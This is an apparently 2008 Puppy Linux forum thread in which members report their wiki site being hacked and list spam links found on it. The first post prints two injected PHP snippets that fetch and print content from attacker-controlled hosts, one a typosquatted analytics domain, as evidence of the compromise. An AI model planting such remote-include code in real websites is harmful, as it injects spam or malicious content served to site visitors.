Website hacked again

[raffy]

The old wikka (PuppyLinux wiki) is still at http://pupweb.org/wikka

However, despite the change in FTP password all over servage.net at end of May 2008, these new attacks effectively removed pupweb.org from the Google search results.

May 30, 2008

Code: Select all

if (extension_loaded("curl")) { 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_URL, "http://poisonous crap-online.free-site-host.com/system/v.dat"); 
$r = curl_exec($ch); 
curl_close($ch); 
} else { $r=implode("",file("http://poisonous crap-online.free-site-host.com/system/v.dat")); } 
if($r) print $r; 

June 6, 2008

Code: Select all

if (extension_loaded("curl")) { 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_URL, "http://google-analitycs.net/AdWords/urchin_1.dat"); 
$r = curl_exec($ch); 
curl_close($ch); 
} else { $r=implode("",file("http://google-analitycs.net/AdWords/urchin_1.dat")); } 
if($r) print $r;

I hope prehistoric is able to read this post.

[prehistoric]

The old wikka (PuppyLinux wiki) is still at http://pupweb.org/wikka

However, despite the change in FTP password all over servage.net at end of May 2008, these new attacks effectively removed pupweb.org from the Google search results.
...
I hope prehistoric is able to read this post.

I read, but remain non-plussed. As far as I know my access ended with the password change.

[Aitch]

Raffy

I have McAfee site advisor on my pc, and this is our servage site links

http://www.siteadvisor.com/sites/pupweb ... F&aff_id=0

we show a link to progressivepharm.com - a known spammers site, even though it shows up green on mcafee, I've alerted a friend who's a spambuster, and he's going to alert mcafee
It is known to harvest emails

this link MUST be severed, fast!

see here

http://www.murga-linux.com/puppy/viewtopic.php?t=30001

http://murga-linux.com/puppy/viewtopic. ... 2&start=38

http://www.murga-linux.com/puppy/viewtopic.php?t=29876

my alert here

http://www.murga-linux.com/puppy/viewtopic.php?t=29994

this also links to loads of other links to the community site etc

The edu sites & W3.org are also being targetted & we link to them also

Does anyone know csulb.edu/~jbanuelo as this is a direct link, also?

Aitch

PS now done - also found links to fake google site: google.8-d.com selling canadian pharmacuticals - yes, the ones which bring up 'poisonous cr*p' DO NOT GO HERE UNLESS SANDBOXED

http://www.siteadvisor.com/sites/progre ... m/summary/

my advice, also would be, take these posts out of public view
[see my pm]

[Aitch]

Also found link to ecomoney's edupup link

notified him by pm

How many more are still hidden, there is something in the php, I think

Tip: look for whitespace links, found by highlighting the next space after a link, if spam, lots of invisible code will show up, as 'hooks'


Aitch